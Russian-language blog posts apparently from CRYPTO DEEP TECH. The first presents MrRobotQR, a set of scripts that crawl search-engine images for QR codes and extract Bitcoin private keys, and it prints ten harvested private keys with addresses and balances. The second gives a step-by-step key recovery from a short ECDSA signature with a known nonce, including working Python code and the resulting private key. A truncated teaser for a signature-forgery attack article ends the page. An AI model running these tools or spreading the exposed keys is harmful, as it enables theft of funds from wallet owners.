понедельник, 29 августа 2022 г.

MrRobotQR сканируем QR-коды из поисковых систем в поисках приватных ключей Биткоин Кошельков

 CRYPTO DEEP TECH

Всем нам известна фраза: «Все что попадает в интернет, остается в нем навсегда и становится общедоступным».

Вплоть до скрытого контента.

В 2021 году пандемия вернула популярность QR-кодов. Впервые QR-коды были использованы на производстве в 1994 году дочерняя компания Toyota в Японии ввела их на заводе по сборке для контроля выпускаемых автомобилей и деталей к ним. В отличие от штрих-кода QR-код содержит больше информации, что и подтолкнуло производителя к введению инновации. Технология начала распространяться в основном в азиатских странах, а в 2003 году китайская компания Inspiry разработала специальный механизм считывания QR-кодов, который позволил это делать быстро, что подогрело популярность. Однако широкое распространение пришлось уже на период массового использования планшетов и смартфонов, когда считывание стало доступно через камеру носимого устройства.

Устройства от китайской компании Inspiry
Устройства от китайской компании Inspiry

С одной стороны QR-коды предоставляют все удобства в платежах BTC, так как можно не тратить по полчаса на оформление перевода. Достаточно навести смартфон на QR-код и платежка со всеми заполненными полями сформируется сама, останется только нажать кнопку с подтверждением оплаты.

ПереводыоплатыQR-коды просто незаменимая вещь и самое важное в том что все это экономит наше время.

Нужно помнить ещё одну важную вещь:

GooglebotBingbotBaidubot работают 24/7 и в любой момент могут сохранить приватные данные в своих гигантских серверах.

На поиски скрытого контента из глубин поисковых систем подключаются совершено противоположенные поисковым ботам герои в черном худи из известного сериала Мистер Робот (Mr. Robot) .

MrRobotQR сканируем QR-коды из поисковых систем в поисках приватных ключей Биткоин Кошельков

«MrRobotQR» — это скрипт с открытым исходным кодом который автоматизирует процесс от ввода ключевого слова поиска до вывода приватного ключа Биткоин кошелька.

Для запуска скрипта потребует Python 3 и Bash

Bash-скрипт: mrrobotqr.sh автоматизирует следующие шаги:

Запуск Python-скрипта: qrcrawler.py с указанными ключевыми словами для поиска и сканирования изображений в GoogleBing и Baidu.

MrRobotQR сканируем QR-коды из поисковых систем в поисках приватных ключей Биткоин Кошельков

Все найденные изображений будут загружены в папку qrbooty с подпапками для каждой поисковой системы. Затем скрипт переименовывает и перемещает файлы из подпапок в папку qrbooty с уникальными именами.

Далее идёт запуск Python-скрипта: qr2key.py для сканирования загруженных изображений в папке qrbooty на наличие QR-кодов и проверяет, содержат ли они приватные ключи Биткоин кошелька. Все приватные ключи будут сохранены в текстовый файл: keylist.txt.

После повторной обработки скрипт удаляет дубликаты в keylist.txt и выводит уникальные ключ и в новый файл: keylist_unique.txt , где будут уже содержаться все уникальные приватные ключи Биткоин кошелька.

Установка и запуск:

Откроем [TerminalGoogleColab].

Воспользуемся репозиторием «10MrRobotQR».

git clone https://github.com/demining/CryptoDeepTools.git

cd CryptoDeepTools/10MrRobotQR/

ls
MrRobotQR сканируем QR-коды из поисковых систем в поисках приватных ключей Биткоин Кошельков

Установим программный пакет ZBar для считывания штрих-кодов

sudo apt install python3-dev python3-setuptools python3-pip libzbar0 libzbar-dev

MrRobotQR сканируем QR-коды из поисковых систем в поисках приватных ключей Биткоин Кошельков

Установим все нужные нам пакеты, модули и библиотеки:

cat requirements.txt
MrRobotQR сканируем QR-коды из поисковых систем в поисках приватных ключей Биткоин Кошельков
pip3 install -r requirements.txt

MrRobotQR сканируем QR-коды из поисковых систем в поисках приватных ключей Биткоин Кошельков

Права доступа к файлам:

chmod +x mrrobotqr.sh
chmod +x qr2key.py
chmod +x qrcrawler.py
MrRobotQR сканируем QR-коды из поисковых систем в поисках приватных ключей Биткоин Кошельков

"bitcoin qr" — ключевое слово для поисковых систем

Запуск Bash-скрипта:

./mrrobotqr.sh "bitcoin qr"
MrRobotQR сканируем QR-коды из поисковых систем в поисках приватных ключей Биткоин Кошельков
MrRobotQR сканируем QR-коды из поисковых систем в поисках приватных ключей Биткоин Кошельков
MrRobotQR сканируем QR-коды из поисковых систем в поисках приватных ключей Биткоин Кошельков

Открываем и смотрим все сохраненные уникальные ключи в файле: keylist_unique.txt

cat keylist_unique.txt
MrRobotQR сканируем QR-коды из поисковых систем в поисках приватных ключей Биткоин Кошельков
MrRobotQR сканируем QR-коды из поисковых систем в поисках приватных ключей Биткоин Кошельков
MrRobotQR сканируем QR-коды из поисковых систем в поисках приватных ключей Биткоин Кошельков
MrRobotQR сканируем QR-коды из поисковых систем в поисках приватных ключей Биткоин Кошельков

История поисков с положительным балансом монет BTC:

Откроем bitaddress и проверим:

MrRobotQR сканируем QR-коды из поисковых систем в поисках приватных ключей Биткоин Кошельков
Private Key WIF: L4vNZ86Pp6mkEPSPz9EcELK8cp1BxP3LWjxh7QvDanuMQBUJT9cG
Bitcoin Address: 1JhCAfiAbwJSa65c2EDCfC9fbEwyzZZb25
Total balance:   0.01393000 BTC

MrRobotQR сканируем QR-коды из поисковых систем в поисках приватных ключей Биткоин Кошельков
Private Key WIF: L2HcNb8wPCQ2gpL4oT5Mn6cvKqfAFjCqK3qWquak9BvYasbgWxxF
Bitcoin Address: 18cif9QYoSPSrmv9MN157mUejyNMr5wYVx
Total balance:   0.01313000 BTC

MrRobotQR сканируем QR-коды из поисковых систем в поисках приватных ключей Биткоин Кошельков
Private Key WIF: KwFs9DSx3qQbagnRiZ2niczs5QteL1bE13mBdXFGAW1He7BxQ9qz
Bitcoin Address: 1KyUqCo3pbBHvCp7ZcBvUSEaTLBocUAoU3
Total balance:   0.03611000 BTC

MrRobotQR сканируем QR-коды из поисковых систем в поисках приватных ключей Биткоин Кошельков
Private Key WIF: L5CGhW2yDnq3pGQdKm3ocM3AE32EekoKkKN6DvUqstziayr1R79V
Bitcoin Address: 1AuRL68EyKTFAafj98GR2oAi7b9abNr3ja
Total balance:   0.03602000 BTC

MrRobotQR сканируем QR-коды из поисковых систем в поисках приватных ключей Биткоин Кошельков
Private Key WIF: L3sxBKQ8HbFAv2vshfsL6RTEX8zP9CLDzw9BCh6hd5VTiihoAX5n
Bitcoin Address: 1H957muSj2Sn23Mnym5DEoYquQqviqc7Ch
Total balance:   0.03628000 BTC

MrRobotQR сканируем QR-коды из поисковых систем в поисках приватных ключей Биткоин Кошельков
Private Key WIF: KzpPtHkQbZj32Pxtoo31bPZtbVbVV5DASdmaFWawgrYXBxhfNoLj
Bitcoin Address: 1PCLwUTMj6z7up1mDGbEbMVhaQif9xBB5M
Total balance:   0.03632000 BTC

MrRobotQR сканируем QR-коды из поисковых систем в поисках приватных ключей Биткоин Кошельков
Private Key WIF: L1DoUbneUoNAMqFHeGyerzXyxwbzYWB1mD2JL8sn855EgZKJxC5d
Bitcoin Address: 1N5rmtTVvtTkVPB8xJNPx3bbaS7kZX2kX
Total balance:   0.01466000 BTC

MrRobotQR сканируем QR-коды из поисковых систем в поисках приватных ключей Биткоин Кошельков
Private Key WIF: KzcTCCpwMFu3yS5EBczmD9bv4GSD42vCoicJzCrZdm4eyYRvBiGE
Bitcoin Address: 1WeWVwSsUDgtMagerivywQzmBbeL2ETVJ
Total balance:   0.03677000 BTC

MrRobotQR сканируем QR-коды из поисковых систем в поисках приватных ключей Биткоин Кошельков
Private Key WIF: Kydoae8uQDUjxVWqqgqzoTQtMYkA6x1MGiPTx76AuTzyxdBTAYHc
Bitcoin Address: 1Mz7STzHf3JBuG4fvXuiz1brGRXF2C4R9R
Total balance:   0.03498000 BTC

MrRobotQR сканируем QR-коды из поисковых систем в поисках приватных ключей Биткоин Кошельков
Private Key WIF: KzWA3G6wyAdWSpACmJXAec76xhFxMPhnzwKLK3pk1gxm4RencWmo
Bitcoin Address: 1HnBT3t4AKBP54UDTNGJB39DAv7caf7HP1
Total balance:   0.01601000 BTC

Данный видеоматериал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN

Исходный код

Telegramhttps://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/bNMg2iJhMpg

Источник: https://cryptodeep.ru/mr-robot-qr


среда, 24 августа 2022 г.

Восстановление Биткоин Кошелька через короткие подписи ECDSA

 



Всем нам известно, что раскрываемость секретного ключа в подписи ECDSA может привести к полному восстановлению Биткоин Кошелька. В наших более ранних статьях мы рассматривали слабости и уязвимости в транзакциях блокчейна, но так же существуют короткие подписи ECDSA которые так же приводят к полному восстановлению Биткоин Кошелька.

Почему же эти подписи ECDSA называются короткими?

Ответ на этот вопрос вы можете получить из обсуждаемой темы: "Самая короткая подпись ECDSA" [The shortest ECDSA signature]

В прошлой нашей статье: "Уменьшение приватного ключа через скалярное умножение используем библиотеку ECPy + Google Colab" мы создали Python-скрипт: maxwell.py который сгенерировал для нас довольно интересный публичный ключ

(0x3b78ce563f89a0ed9414f5aa28ad0d96d6795f9c63 , 0xc0c686408d517dfd67c2367651380d00d126e4229631fd03f8ff35eef1a61e3c)

Как мы знаем значение сигнатуры "R" это и есть публичный ключ от секретного ключа (Nonce)

Взгляните на Blockchain транзакцию: 11e6b169701a9047f3ddbb9bc4d4ab1a148c430ba4a5929764e97e76031f4ee3

RawTX:

0100000001afddd5c9f05bd937b24a761606581c0cddd6696e05a25871279f75b7f6cf891f250000005f3c303902153b78ce563f89a0ed9414f5aa28ad0d96d6795f9c6302200a963d693c008f0f8016cfc7861c7f5d8c4e11e11725f8be747bb77d8755f1b8012103151033d660dc0ef657f379065cab49932ce4fb626d92e50d4194e026328af853ffffffff010000000000000000016a00000000

Размер этой транзакции всего лишь: 156 байт

Как можно восстановить Биткоин Кошелек через короткие подписи ECDSA?

В криптоанализе блокчейна криптовалюты Bitcoin мы используем собственный Bash-скрипт: btcrecover.sh

Процесс восстановление Биткоин Кошелька
Процесс восстановление Биткоин Кошелька

Bash-скрипт: btcrecover.sh

pip2 install -r requirements.txt
chmod +x btcrecover.sh


 ./btcrecover.sh 12yysAMhagEm67QCX85p3WQnTUrqcvYVuk


 ./btcrecover.sh 15HvLBX9auG2bJdLCTxSvjvWvdgsW7BvAT

Результаты:

| privkey : addr |

Откроем bitaddress и проверим:

ac8d0abda1d32aaabff56cb72bc39a998a98779632d7fee83ff452a86a849bc1:12yysAMhagEm67QCX85p3WQnTUrqcvYVuk
b6c1238de89e9defea3ea0712e08726e338928ac657c3409ebb93d9a0873797f:15HvLBX9auG2bJdLCTxSvjvWvdgsW7BvAT

Перейдем к экспериментальной части и более детально разберем все скрипты по восстановлению Биткоин Кошелька

Откроем [TerminalGoogleColab].

Воспользуемся репозиторием «09BitcoinWalletRecovery».

git clone https://github.com/demining/CryptoDeepTools.git

cd CryptoDeepTools/09BitcoinWalletRecovery/

ls

Установим все нужные модули:

bitcoin
ecdsa
utils
base58

pip2 install -r requirements.txt

С помощью скрипта breakECDSA.py мы получим из RawTX сигнатуры [R, S, Z]

python2 breakECDSA.py 0100000001afddd5c9f05bd937b24a761606581c0cddd6696e05a25871279f75b7f6cf891f250000005f3c303902153b78ce563f89a0ed9414f5aa28ad0d96d6795f9c6302200a963d693c008f0f8016cfc7861c7f5d8c4e11e11725f8be747bb77d8755f1b8012103151033d660dc0ef657f379065cab49932ce4fb626d92e50d4194e026328af853ffffffff010000000000000000016a00000000 > signatures.txt

Результат будет сохранен в файл: signatures.txt

Откроем файл: PublicKeys.txt

cat signatures.txt
R = 0x00000000000000000000003b78ce563f89a0ed9414f5aa28ad0d96d6795f9c63
S = 0x0a963d693c008f0f8016cfc7861c7f5d8c4e11e11725f8be747bb77d8755f1b8
Z = 0x521a65420faa5386d91b8afcfab68defa02283240b25aeee958b20b36ddcb6de

Как нам известно из прошлой нашей статьи, нам известен секретный ключ к генерации сигнатуры R

В нашем случае секретный ключ (Nonce):

0x7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0 --> 0x3b78ce563f89a0ed9414f5aa28ad0d96d6795f9c63, 0x3f3979bf72ae8202983dc989aec7f2ff2ed91bdd69ce02fc0700ca100e59ddf3

Signatures:

K = 0x7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0
R = 0x00000000000000000000003b78ce563f89a0ed9414f5aa28ad0d96d6795f9c63
S = 0x0a963d693c008f0f8016cfc7861c7f5d8c4e11e11725f8be747bb77d8755f1b8
Z = 0x521a65420faa5386d91b8afcfab68defa02283240b25aeee958b20b36ddcb6de

Теперь когда нам известны значение [K, R, S, Z] мы можем получить приватный ключ по формуле и восстановить Биткоин Кошелек.

Privkey = ((((S * K) - Z) * modinv(R,N)) % N)

Для получения приватного ключа воспользуемся Python-скриптом: calculate.py

def h(n):
    return hex(n).replace("0x","")

def extended_gcd(aa, bb):
    lastremainder, remainder = abs(aa), abs(bb)
    x, lastx, y, lasty = 0, 1, 1, 0
    while remainder:
        lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
        x, lastx = lastx - quotient*x, x
        y, lasty = lasty - quotient*y, y
    return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)

def modinv(a, m):
    g, x, y = extended_gcd(a, m)
    if g != 1:
        raise ValueError
    return x % m
    
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141


K = 0x7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0
R = 0x00000000000000000000003b78ce563f89a0ed9414f5aa28ad0d96d6795f9c63
S = 0x0a963d693c008f0f8016cfc7861c7f5d8c4e11e11725f8be747bb77d8755f1b8
Z = 0x521a65420faa5386d91b8afcfab68defa02283240b25aeee958b20b36ddcb6de


print (h((((S * K) - Z) * modinv(R,N)) % N))

Запустим Python-скрипт: calculate.py

python3 calculate.py
PrivKey = b6c1238de89e9defea3ea0712e08726e338928ac657c3409ebb93d9a0873797f
PrivKey = b6c1238de89e9defea3ea0712e08726e338928ac657c3409ebb93d9a0873797f

Откроем bitaddress и проверим:

ADDR: 15HvLBX9auG2bJdLCTxSvjvWvdgsW7BvAT
WIF:  L3LxjEnwKQMFYNYmCGzM1TqnwxRDi8UyRzQpVfmDvk96fYN44oFG
HEX:  b6c1238de89e9defea3ea0712e08726e338928ac657c3409ebb93d9a0873797f

Приватный ключ найден!

Биткоин кошелек восстановлен!

Короткие подписи ECDSA - это потенциальная угроза потери монет BTCпоэтому мы настоятельно рекомендуем всем всегда обновлять ПО и использовать только проверенные устройства.

Данный видеоматериал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN

Исходный код

Telegramhttps://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/xBgjWE5tA7Y

Источник: https://cryptodeep.ru/shortest-ecdsa-signature



Digital Signature Forgery Attack: как уязвимости CVE-2025-29774 и баг SIGHASH_SINGLE угрожают мультиподписным кошелькам методы операции с поддельными RawTX

  Digital Signature Forgery Attack: как уязвимости CVE-2025-29774 и баг SIGHASH_SINGLE угрожают мультиподписным кошелькам методы операции с ...